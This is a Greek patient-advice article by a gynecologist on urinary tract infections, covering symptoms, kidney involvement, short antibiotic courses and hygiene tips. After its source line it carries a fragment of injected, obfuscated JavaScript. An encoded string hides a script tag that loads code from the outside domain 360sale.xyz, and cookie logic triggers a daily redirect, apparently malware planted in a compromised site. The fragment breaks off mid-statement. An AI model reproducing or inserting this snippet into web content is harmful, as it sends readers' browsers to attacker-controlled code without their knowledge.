Ουρολοιμώξεις – μερικές χρήσιμες συμβουλές

Γράφει ο Δημήτριος Τουρλάκης,  Mαιευτήρας-γυναικολόγος

Η ουρολοίμωξη είναι μια κατάσταση στην οποία κάποιο τμήμα του ουροποιητικού συστήματος μολύνεται, όταν ένα μικρόβιο υπερβεί τις ισχυρές φυσικές του άμυνες. Το συνηθέστερο υπεύθυνο μικρόβιο είναι το E.coli (75-90% στις κυστίτιδες).

Η συχνότερη μορφή ουρολοίμωξης είναι η κυστίτιδα, που αφορά στην ουροδόχο κύστη ή και στην ουρήθρα. Αν η φλεγμονή επεκταθεί στους νεφρούς τότε χρησιμοποιείται ο όρος πυελονεφρίτιδα. Αν είναι εντοπισμένη μόνο στην ουρήθρα τότε καλείται ουρηθρίτιδα.

Παρά το γεγονός ότι η ουρολοίμωξη συνήθως διαρκεί λίγο, 25-50% των γυναικών παρουσιάζει ένα νέο επεισόδιο μέσα σε ένα χρόνο. Αυτό μπορεί να οφείλεται σε υποτροπή (20%), ή σε νέα λοίμωξη (80%).

Τα συμπτώματα μιας ουρολοίμωξης συνήθως ξεκινούν αιφνιδίως και μπορεί να περιλαμβάνουν ένα ή περισσότερα από τα παρακάτω :

Συχνή ανάγκη για ούρηση, η οποία μπορεί και να επέλθει αμέσως μετά την ούρηση.

Ένα επώδυνο αίσθημα καύσους

Ενοχλήσεις ή πίεση χαμηλά στην κοιλιακή χώρα

Κράμπες στην κάτω κοιλιακή χώρα ή πίσω στη μέση

Τα ούρα συχνά έχουν μια περίεργη οσμή, είναι θολά, ή περιέχουν αίμα (πυουρία, αιματουρία)

Κάποιες φορές πυρετός

Σε περίπτωση πυελονεφρίτιδας, όπου έχουμε φλεγμονή στους νεφρούς, και φυσικά μια πιο σοβαρή μόλυνση, μπορεί να έχουμε : Πυρετό με ρίγη (τυπικά περισσότερο από 2 μέρες), πόνο στα πλάγια του σώματος κάτω από τα πλευρά, ναυτία και έμετους.

Η θεραπεία των απλών ουρολοιμώξεων μπορεί να προταθεί από το γυναικολόγο και χωρίς εξετάσεις, όταν η κλινική εικόνα είναι ξεκάθαρη, και η γυναίκα δεν έχει συγχρόνως και κολπίτιδα ή είναι έγκυος. Σύμφωνα με τα σημερινά δεδομένα η λήψη των αντιβιοτικών γίνεται μόνο για 3 ημέρες. Μόνο σε περίπτωση που δεν υποχωρήσουν τα συμπτώματα απαιτείται πλέον εξέταση ούρων. Σε περίπτωση υποτροπής μπορεί να χρειαστεί η λήψη αντιβίωσης να παραταθεί για 2 εβδομάδες. Αν τα συμπτώματα δεν υποχωρήσουν μετά από 2 ημέρες, θα πρέπει η γυναίκα να επισκεφθεί το γυναικολόγο. Το ίδιο φυσικά είναι απαραίτητο σε περίπτωση υποψίας πυελονεφρίτιδας.

Μικρές χρήσιμες συμβουλές για κάθε γυναίκα είναι :

Καθαρίζετε πάντα την περιοχή από μπροστά προς τα πίσω όταν πάτε τουαλέτα

Διατηρείτε την περιοχή των έξω γεννητικών οργάνων καθαρή πριν και μετά από κάθε σεξουαλική επαφή. Ωφέλιμο είναι να ουρείτε πριν και μετά την επαφή.

Αποφυγή στενών εσωρούχων και παντελονιών

Φοράτε βαμβακερά εσώρουχα, τα αλλάζετε τουλάχιστον μία φορά την ημέρα, και τα πλένετε με ήπια απορρυπαντικά

Αλλάξτε μαγιώ και βάλτε στεγνό μετά την έξοδο από τη θάλασσα

Προτιμήστε τα ντους από τα μπάνια στη μπανιέρα

Αποφύγετε λάδια, spray και σκόνες στην περιοχή, και φυσικά αποφύγετε τις πλύσεις στον κόλπο.

Τρώτε, raspberries, cranberries και φράουλες.

Πίνετε αρκετά υγρά και ουρείτε συχνά.

Πηγή: notianews.gr
U3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘